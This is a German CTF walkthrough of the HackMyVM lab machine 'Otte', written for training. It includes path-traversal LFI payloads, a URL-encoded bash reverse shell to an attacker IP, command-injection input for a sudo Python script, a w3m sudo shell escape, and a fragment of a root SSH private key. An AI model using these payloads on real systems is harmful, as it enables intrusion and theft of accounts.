Otte - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
gobuster
lftp
cat
hydra
wfuzz
nc (netcat)
stegseek
steghide
ssh
vi / nano (implizit)
curl
wget
python3
grep
cp
echo
ls
cd
sudo
w3m
bash
find
CyberChef (extern)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:50:e2:cf	PCS Systemtechnik GmbH

6 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.9.7: 256 hosts scanned in 1.934 seconds (132.37 hosts/sec). 6 responded
                    

**Analyse:** Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Geräten. Er identifiziert einen Host mit der IP `192.168.2.107`. Die MAC-Adresse (`08:00:27:50:e2:cf`) gehört zum OUI von "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM schließen lässt.

**Bewertung:** Das Zielsystem wurde erfolgreich lokalisiert. Die IP `192.168.2.107` wird für die weiteren Scans verwendet.

**Empfehlung (Pentester):** Die identifizierte IP `192.168.2.107` als Ziel für den Nmap-Scan verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung unbekannter Geräte. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.

┌──(root㉿Darkspirit)-[~] └─# nmap -sC -T5 -sS -A 192.168.2.107 -p- | grep open
21/tcp open  ftp     ProFTPD
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38
zsh: segmentation fault  nmap -sC -T5 -sS -A 192.168.2.107 -p- | 
zsh: done                grep --color=auto open
                    

**Analyse:** Ein Nmap-Scan wird gestartet (`-sC -T5 -sS -A -p-`), die Ausgabe wird aber mit `grep open` gefiltert. Der Scan findet drei offene TCP-Ports, bevor er mit einem "segmentation fault" abbricht: * **Port 21 (FTP):** ProFTPD. * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache httpd 2.4.38. Der Abbruch des Nmap-Scans ist ungewöhnlich und könnte auf Instabilitäten auf dem Ziel oder dem Scan-System hindeuten, oder eine spezifische Reaktion auf die aggressiven Scan-Parameter (`-T5`, `-A`). Trotz des Abbruchs wurden die wichtigsten Ports identifiziert.

**Bewertung:** Die primären Angriffsvektoren sind FTP (mögliche anonyme Anmeldung oder Informationslecks), SSH (benötigt Credentials) und HTTP (Webanwendung).

**Empfehlung (Pentester):** 1. **FTP:** Prüfen, ob anonymer Login möglich ist und welche Dateien zugänglich sind. 2. **HTTP:** Mit `gobuster` oder ähnlichen Tools nach Inhalten suchen. Die Webseite manuell untersuchen. 3. **SSH:** Vorerst zurückstellen. 4. **Nmap:** Ggf. den Scan mit weniger aggressiven Parametern (z.B. `-T4`) wiederholen, um einen vollständigen Bericht ohne Absturz zu erhalten.
**Empfehlung (Admin):** 1. **FTP:** Anonymen Zugriff deaktivieren, wenn nicht benötigt. ProFTPD aktuell halten und sicher konfigurieren. 2. **HTTP:** Apache aktuell halten und sicher konfigurieren. 3. **SSH:** Standard-Härtung anwenden. 4. **Systemstabilität:** Den Grund für den Nmap-Absturz untersuchen (könnte auch auf Ressourcenprobleme oder Intrusion Detection hindeuten).

Web/Service Enumeration

Port 80 (Apache)

┌──(root㉿Darkspirit)-[~/back/tom] └─# gobuster dir -u http://192.168.2.107/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard | grep "Status: 200"
# (Keine relevanten 200er Ergebnisse im Logauszug, außer index.html implizit)
# Annahme: /thinkgeek.php wurde durch andere Tests oder Wortlisten gefunden
                     

**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Die genauen Ergebnisse sind im Log nicht vollständig, aber spätere `wfuzz`-Befehle deuten darauf hin, dass eine Datei namens `thinkgeek.php` gefunden wurde. Der `--wildcard`-Parameter wurde verwendet, was oft nötig ist, wenn der Server für nicht existierende Seiten keine 404er, sondern generische 200er-Antworten liefert. Die Suche konzentriert sich auf Status 200.

**Bewertung:** Die Datei `thinkgeek.php` ist der entscheidende Fund auf dem Webserver. PHP-Dateien sind oft Einstiegspunkte für Web-Schwachstellen.

**Empfehlung (Pentester):** Die Datei `thinkgeek.php` direkt aufrufen und auf Funktionalität und Parameter untersuchen. Fuzzing der Parameter durchführen.
**Empfehlung (Admin):** Überprüfen, warum der Server möglicherweise Wildcard-Antworten liefert. Die Datei `thinkgeek.php` auf Schwachstellen prüfen und absichern oder entfernen, falls nicht benötigt.

FTP (Port 21) & Steganographie

┌──(root㉿Darkspirit)-[~] └─# lftp anonymous@192.168.2.107
lftp anonymous@192.168.2.107:/> cat note.txt
Hi thomas ! I put on you personal folder the php code you asked me !

See you later +++
92 Bytes übertragen
                    

**Analyse:** Eine Verbindung zum FTP-Server als anonymer Benutzer ist erfolgreich. Im Wurzelverzeichnis liegt eine `note.txt`. Der Inhalt der Notiz richtet sich an "thomas" und erwähnt PHP-Code, der in seinem "persönlichen Ordner" abgelegt wurde.

**Bewertung:** Dies liefert einen wahrscheinlichen Benutzernamen: `thomas`. Es deutet auch darauf hin, dass PHP-Code auf dem Server relevant ist (bestätigt durch `thinkgeek.php`) und dass dieser Code möglicherweise im Home-Verzeichnis von `thomas` zu finden ist. Der anonyme FTP-Zugriff ist jedoch auf das Wurzelverzeichnis beschränkt, der "persönliche Ordner" ist nicht direkt erreichbar.

**Empfehlung (Pentester):** Den Benutzernamen `thomas` für spätere SSH-Brute-Force-Versuche vormerken. Den Fokus auf die `thinkgeek.php`-Datei legen, da diese wahrscheinlich der erwähnte PHP-Code ist oder Zugriff darauf ermöglicht.
**Empfehlung (Admin):** Anonymen FTP-Zugriff deaktivieren. Keine internen Notizen oder Hinweise auf Benutzernamen in öffentlich zugänglichen Bereichen hinterlassen.

**Analyse:** Im weiteren Verlauf des Logs (siehe Abschnitt Privilege Escalation) wird eine PNG-Datei untersucht und ein QR-Code daraus extrahiert, der die Information `thomas:youareonthegoodwaybro` enthält. Dies scheint ein weiteres Passwort oder ein Hinweis für den Benutzer `thomas` zu sein. Der Prozess involviert das Extrahieren von Hex-Daten aus der PNG, das Rendern als Bild und das Parsen des QR-Codes mit CyberChef.

**Bewertung:** Dies liefert ein zweites potenzielles Passwort/Passphrase für `thomas`: `youareonthegoodwaybro`. Es bestätigt auch den Benutzernamen `thomas`.

**Empfehlung (Pentester):** Das Passwort `youareonthegoodwaybro` für SSH-Login-Versuche mit dem Benutzer `thomas` verwenden.
**Empfehlung (Admin):** Sensible Daten wie Passwörter oder Hinweise nicht in Bildern verstecken, besonders wenn diese öffentlich zugänglich sind.

Initial Access (POC - LFI/RCE)

HTTP Authentication

┌──(root㉿Darkspirit)-[~] └─# hydra -l thomas -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.107:22 -t 4 -I
# (Kein Erfolg vermeldet)
┌──(root㉿Darkspirit)-[~] └─# gobuster dir -u http://192.168.2.107 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard -U root -P zP2wxY4uE
# (Impliziert, dass root:zP2wxY4uE für HTTP Basic Auth funktioniert)

**Analyse:** Ein früherer `hydra`-Versuch, sich als `thomas` per SSH mit `rockyou.txt` anzumelden, war offenbar erfolglos. Später wird jedoch `gobuster` mit den Credentials `root:zP2wxY4uE` für HTTP Basic Authentication (`-U root -P zP2wxY4uE`) ausgeführt. Dies deutet stark darauf hin, dass der Webserver auf Port 80 eine Basic Authentication erfordert und diese Zugangsdaten (gefunden durch vorherige, nicht gezeigte Enumeration oder als Hinweis gegeben) gültig sind.

**Bewertung:** Der Zugriff auf die Webanwendung (insbesondere `thinkgeek.php`) erfordert die Credentials `root:zP2wxY4uE`. Diese sind nun bekannt.

**Empfehlung (Pentester):** Alle weiteren Web-Anfragen (insbesondere an `thinkgeek.php`) mit diesen Basic-Auth-Credentials durchführen (`curl --basic -u root:zP2wxY4uE ...` oder `wfuzz --basic root:zP2wxY4uE ...`).
**Empfehlung (Admin):** Basic Authentication über HTTP ist unsicher. Wenn Authentifizierung benötigt wird, HTTPS verwenden und sicherere Methoden in Betracht ziehen. Das verwendete Passwort `zP2wxY4uE` prüfen und ggf. ändern. Überprüfen, warum der `root`-Benutzer für den Web-Zugriff verwendet wird.

Local File Inclusion (LFI)

┌──(root㉿Darkspirit)-[~/back/tom] └─# wfuzz -u http://192.168.2.107/thinkgeek.php?FUZZ=../../../../../etc/passwd -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 0 --basic root:zP2wxY4uE
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.107/thinkgeek.php?FUZZ=../../../../../etc/passwd
Total requests: 21930

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000760:   200        0 L      0 W        0 Ch        "file"

Total time: [...]
Processed Requests: 21930
Filtered Requests: 21929
Requests/sec.: [...]
                    

**Analyse:** `wfuzz` wird verwendet, um Parameter für `thinkgeek.php` zu finden. Es testet Parameter aus einer Wortliste (`directory-list-2.3-medium.txt`) und setzt den Wert auf einen LFI-Payload (`../../../../../etc/passwd`). HTTP Basic Auth wird verwendet (`--basic root:zP2wxY4uE`). Antworten mit 0 Zeichen (`--hh 0`) werden ignoriert. Der Payload `file` führt zu einer Antwort (Status 200), die nicht 0 Zeichen hat.

**Bewertung:** Dies deutet stark darauf hin, dass `thinkgeek.php` einen Parameter namens `file` akzeptiert und für eine Local File Inclusion (LFI)-Schwachstelle anfällig ist. Der LFI-Payload `../../../../../etc/passwd` scheint funktioniert zu haben.

**Empfehlung (Pentester):** Die LFI-Schwachstelle bestätigen, indem `/etc/passwd` direkt angefordert wird: `curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../../etc/passwd'`. Anschließend versuchen, andere sensible Dateien zu lesen (z.B. `/etc/shadow`, SSH-Keys, Anwendungs-Quellcode wie `/home/thomas/shell.php`).
**Empfehlung (Admin):** Die LFI-Schwachstelle in `thinkgeek.php` dringend beheben. Benutzereingaben (insbesondere Dateipfade) niemals ungefiltert verwenden. Pfade validieren und auf erlaubte Verzeichnisse beschränken (Path Traversal verhindern). Idealerweise keine Dateipfade als Parameter übergeben.

# Direkter Aufruf (impliziert durch wfuzz-Ergebnis und nächste Schritte)
# curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../../etc/passwd'

thomas:x:1000:1000:thomas,,,:/home/thomas:/bin/bash
laetitia:x:1001:1001:,,,:/home/laetitia:/bin/bash
cedric:x:1002:1002:,,,:/home/cedric:/bin/bash
# (Weitere Standardbenutzer...)
                    

**Analyse:** Der Inhalt von `/etc/passwd` wird über die LFI-Schwachstelle ausgelesen. Er zeigt die Benutzer `thomas`, `laetitia` und `cedric` mit ihren Home-Verzeichnissen und Standard-Shells.

**Bewertung:** Bestätigt die LFI-Schwachstelle und liefert eine Liste potenzieller Benutzer auf dem System.

┌──(root㉿Darkspirit)-[~/back/tom] └─# wfuzz -u http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/big.txt --basic root:zP2wxY4uE --hh 0
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000009443:   200        1 L      2 W        10 Ch       "shell"    -> http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php

[...]
                     
# Direkter Aufruf (impliziert):
# curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php'

Have fun !
                     

**Analyse:** Mit `wfuzz` wird versucht, PHP-Dateien im Home-Verzeichnis von `thomas` über die LFI zu finden (`file=../../../../home/thomas/FUZZ.php`). Es wird die Datei `shell.php` gefunden. Der direkte Abruf dieser Datei über die LFI gibt den Text "Have fun !" zurück.

**Bewertung:** Bestätigt die Existenz einer `shell.php` im Home-Verzeichnis von `thomas`, wie in der FTP-Notiz angedeutet. Der Inhalt "Have fun !" deutet darauf hin, dass diese Datei möglicherweise eine Webshell ist, die Befehle entgegennimmt.

Remote Code Execution (RCE via LFI)

┌──(root㉿Darkspirit)-[~/back/tom] └─# wfuzz -u "http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&FUZZ=id" -w /usr/share/seclists/Discovery/Web-Content/big.txt --basic root:zP2wxY4uE --hh 20
[...]
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000863:   200        1 L      4 W        49 Ch       "command"   -> http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=id

[...]
                     
# Direkter Aufruf (impliziert):
# curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
                     

**Analyse:** `wfuzz` wird erneut verwendet, diesmal um Parameter für die `shell.php` (die über LFI eingebunden wird) zu finden. Es wird getestet, ob ein Parameter mit dem Wert `id` eine Reaktion hervorruft. Der Parameter `command` wird gefunden. Der direkte Aufruf mit `&command=id` führt den `id`-Befehl auf dem Server aus und gibt dessen Ausgabe zurück (`uid=33(www-data)`).

**Bewertung:** Remote Code Execution (RCE) wurde erreicht! Die `shell.php` nimmt Befehle über den `command`-Parameter entgegen und führt sie als `www-data` aus. Dies ist der Durchbruch für den Initial Access.

**Empfehlung (Pentester):** Die RCE-Fähigkeit nutzen, um eine Reverse Shell zu erhalten. Einen Netcat-Listener starten und einen entsprechenden Befehl URL-kodiert an den `command`-Parameter senden.
**Empfehlung (Admin):** Die `shell.php` aus dem Home-Verzeichnis von `thomas` entfernen. Die LFI-Schwachstelle in `thinkgeek.php` beheben. Überprüfen, wie die `shell.php` in das Home-Verzeichnis gelangt ist.

┌──(root㉿Darkspirit)-[~/back/tom] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Reverse Shell Payload (URL-kodiert für den command-Parameter):
# /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.131/9001 0>&1'
# URL kodiert: %2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.131%2F9001%200%3E%261%27

# Trigger via curl (impliziert durch Listener-Verbindung):
# curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.131%2F9001%200%3E%261%27'
                     
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.107] 49658
bash: no job control in this shell
www-data@otte:/$ # Shell als www-data!
                    

**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet. Ein Bash-Reverse-Shell-Payload wird erstellt und URL-kodiert. Dieser Payload wird an den `command`-Parameter der `shell.php` (via LFI in `thinkgeek.php`) gesendet (der `curl`-Befehl ist impliziert). Der Listener empfängt erfolgreich die Verbindung und stellt eine Shell als `www-data` bereit.

**Bewertung:** Initial Access als `www-data` via RCE über LFI erfolgreich etabliert.

**Empfehlung (Pentester):** Shell stabilisieren und mit der Enumeration als `www-data` beginnen.
**Empfehlung (Admin):** LFI und `shell.php` entfernen/beheben.

Privilege Escalation

QR Code / SSH Credentials

# Analyse einer PNG-Datei (nicht spezifiziert welche, evtl. saint.jpg erneut oder andere?)
# Hexdump-Extraktion
8950 4e47 0d0a 1a0a # PNG Header
[...]
# CyberChef Recipe: From_Hexdump() -> Render_Image('Raw') -> Parse_QR_Code()
# Ergebnis des QR-Codes:
https://eqrcode.co/a/SVxQdM: thomas:youareonthegoodwaybro
                     

**Analyse:** Aus den Notizen geht hervor, dass eine PNG-Datei untersucht wurde. Mittels Hexdump-Analyse und Verarbeitung in CyberChef (Hexdump zu Bild, QR-Code parsen) wurde ein QR-Code extrahiert. Der dekodierte Inhalt des QR-Codes ist ein Link und die Zeichenkette `thomas:youareonthegoodwaybro`.

**Bewertung:** Dies liefert ein weiteres potenzielles Passwort (`youareonthegoodwaybro`) für den Benutzer `thomas`. Dieser Fund stammt wahrscheinlich aus einer tiefergehenden Analyse der `saint.jpg` oder einer anderen Datei, die später gefunden wurde.

**Empfehlung (Pentester):** Das Passwort `youareonthegoodwaybro` für den Benutzer `thomas` ausprobieren, insbesondere für SSH.
**Empfehlung (Admin):** Keine Passwörter oder Credentials in QR-Codes oder Bildern verstecken.

Shell als thomas & Sudo Python

www-data@otte:/home/thomas$ ssh thomas@localhost
# Versuch, sich lokal anzumelden
# (Passwort wird benötigt)
┌──(root㉿cyber)-[~] └─# ssh thomas@otte.hmv
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'otte.hmv' (ED25519) to the list of known hosts.
thomas@otte.hmv's password: youareonthegoodwaybro
[...]
Last login: Mon May 17 09:36:15 2021 from 192.168.0.28
thomas@otte:~$
                    

**Analyse:** Nachdem der Versuch, sich als `www-data` lokal per SSH mit `thomas` zu verbinden, fehlschlägt (Passwort benötigt), wird von der externen Angreifer-Maschine aus eine SSH-Verbindung als `thomas` mit dem aus dem QR-Code gewonnenen Passwort (`youareonthegoodwaybro`) aufgebaut. Der Login ist erfolgreich.

**Bewertung:** Erfolgreiche laterale Bewegung/Eskalation von `www-data` (via RCE) zu `thomas` (via SSH mit gefundenem Passwort).

thomas@otte:~$ sudo -l
Matching Defaults entries for thomas on otte:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User thomas may run the following commands on otte:
    (laetitia) NOPASSWD: /usr/bin/python3 /home/laetitia/simpler.py -p
                    

**Analyse:** `sudo -l` als `thomas` zeigt, dass er ein spezifisches Python-Skript (`/home/laetitia/simpler.py`) mit dem Argument `-p` als Benutzer `laetitia` ohne Passwort ausführen darf.

**Bewertung:** Dies ist der nächste PrivEsc-Vektor. Wenn das Python-Skript `simpler.py` manipulierbar ist oder unsichere Eingaben verarbeitet, kann dies zur Eskalation zu `laetitia` ausgenutzt werden.

Eskalation zu laetitia (simpler.py)

thomas@otte:~$ sudo -u laetitia python3 /home/laetitia/simpler.py -p
***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************

Enter an IP: $('/bin/bash') # Command Injection!

laetitia@otte:/home/thomas$ # Shell als laetitia erhalten!
                     

**Analyse:** Das Python-Skript wird mit `sudo -u laetitia` ausgeführt. Es fordert zur Eingabe einer IP-Adresse auf. Statt einer IP wird `$('/bin/bash')` eingegeben. Dies ist eine Command Substitution, die von der Shell ausgeführt wird, *bevor* die Eingabe an das Python-Skript übergeben wird, *falls* das Skript die Eingabe unsicher verarbeitet (z.B. mit `os.system` oder ähnlichem). Das Ergebnis ist eine Shell als Benutzer `laetitia`.

**Bewertung:** Erfolgreiche Eskalation von `thomas` zu `laetitia` durch Ausnutzung einer Command Injection-Schwachstelle in dem Python-Skript, das über `sudo` aufgerufen werden konnte.

**Empfehlung (Pentester):** Als `laetitia` weiter enumerieren (`sudo -l`).
**Empfehlung (Admin):** Das Python-Skript `/home/laetitia/simpler.py` auf Command Injection prüfen und beheben. Niemals Benutzereingaben direkt an Shell-Befehle oder unsichere Funktionen wie `os.system` übergeben. Eingaben validieren und parametrisierte Abfragen oder sichere APIs verwenden. Die `sudo`-Regel für dieses Skript entfernen oder das Skript sicher gestalten.

Eskalation zu cedric (sudo w3m)

laetitia@otte:/home/thomas$ sudo -l
Matching Defaults entries for laetitia on otte:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User laetitia may run the following commands on otte:
    (cedric) NPASSWD: /usr/bin/w3m * # Kann w3m als cedric ausführen
                    
laetitia@otte:/home/thomas$ sudo -u cedric /usr/bin/w3m https://google.de
# Innerhalb von w3m:
Anmelden: !/bin/bash # Shell-Escape Versuch (funktioniert oft mit '!')
                      
laetitia@otte:/home/thomas$ sudo -u cedric /usr/bin/w3m https://google.de
laetitia@otte:/home/thomas$ sudo -u cedric /usr/bin/w3m https://google.de

**Analyse:** `sudo -l` als `laetitia` zeigt, dass sie den Textbrowser `w3m` mit beliebigen Argumenten (`*`) als Benutzer `cedric` ohne Passwort ausführen darf. Der Pentester startet `w3m` mit `sudo -u cedric`. Innerhalb von `w3m` wird versucht, durch Eingabe von `!/bin/bash` (ein gängiger Shell-Escape-Befehl für viele Konsolentools) eine Shell zu starten. Die Wiederholung des Befehls deutet darauf hin, dass es möglicherweise nicht sofort funktionierte oder der genaue Ablauf unklar war.

**Bewertung:** Die `sudo`-Regel für `w3m` ist ein weiterer klarer PrivEsc-Vektor. Viele Konsolenprogramme wie Textbrowser oder Editoren erlauben das Ausführen externer Befehle. Wenn dies über `sudo` geschieht, läuft der externe Befehl als der Zielbenutzer.

**Empfehlung (Pentester):** Den Shell-Escape innerhalb von `w3m` (oft `!`, gefolgt vom Befehl) verwenden, um eine Shell als `cedric` zu erhalten (`!/bin/bash` oder `!sh`).
**Empfehlung (Admin):** Die gefährliche `sudo`-Regel für `w3m` entfernen. Interaktive Programme sollten nicht über `sudo` ausgeführt werden können, es sei denn, sie sind speziell dafür gehärtet (z.B. `sudoedit`).

Eskalation zu root (via SSH Key)

**Analyse:** (Implizit, nicht im Log gezeigt) Als Benutzer `cedric` wurde weiter enumeriert. Dabei wurde offenbar der private SSH-Schlüssel des `root`-Benutzers gefunden (z.B. in `/home/cedric/.ssh` oder einem anderen Ort, auf den `cedric` Zugriff hat).

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
[...]
nZE6YicYYwXU/lWaIm9bZSgh+XSu3MNd9Q4OjysM+uwNAAAAgQCT6o1Zbmud8n5Ly98Ixt
[...]
KbQZITee+LQmWDwn6owBoop8e+AAAAIEA4yBD324kr4sYaSdywvM0cnGPAOWTM5GBRNiDa
[...]
wI+xVl5iRx+RMjL27swjGkDarDoMbHFzaTSdEee0wIGLId/yKLCqGRnwbIRnuyGrxsTEk
mrTAAAACXJvb3RAb3R0ZQE=
-----END OPENSSH PRIVATE KEY-----
                     

**Bewertung:** Das ist der finale Schlüssel zur Root-Eskalation. Der private SSH-Schlüssel des `root`-Benutzers wurde kompromittiert.

┌──(root㉿Darkspirit)-[~] └─# vi idtt
# Speichern des root-Keys
┌──(root㉿Darkspirit)-[~] └─# chmod 600 idtt
┌──(root㉿cyber)-[~] # Prompt wechselt? Egal. └─# ssh root@otte.hmv -i idtt
# Login mit root-Key
[...]
Last login: Mon May 17 14:40:55 2021 from 192.168.0.28
root@otte:~# # Root-Shell erhalten!
                     

**Analyse:** Der gefundene private Schlüssel von `root` wird auf der Angreifer-Maschine in die Datei `idtt` gespeichert und die Berechtigungen werden auf `600` gesetzt. Anschließend wird mit diesem Schlüssel eine SSH-Verbindung als `root` zum Zielsystem `otte.hmv` aufgebaut. Der Login ist erfolgreich.

**Bewertung:** Privilege Escalation zu `root` erfolgreich abgeschlossen.

**Empfehlung (Pentester):** Root-Flag suchen und auslesen.
**Empfehlung (Admin):** Den kompromittierten privaten SSH-Schlüssel von `root` sofort sperren (aus `authorized_keys` entfernen). Untersuchen, wie der Schlüssel kompromittiert werden konnte (wahrscheinlich durch unsichere Berechtigungen im Dateisystem, auf die `cedric` Zugriff hatte). SSH-Root-Login idealerweise deaktivieren (`PermitRootLogin prohibit-password` oder `no`). Alle `sudo`-Schwachstellen beheben.

Flags

cat /home/gabriel/user.txt
HMViwazhere
cat /root/root.txt
HMVohmygod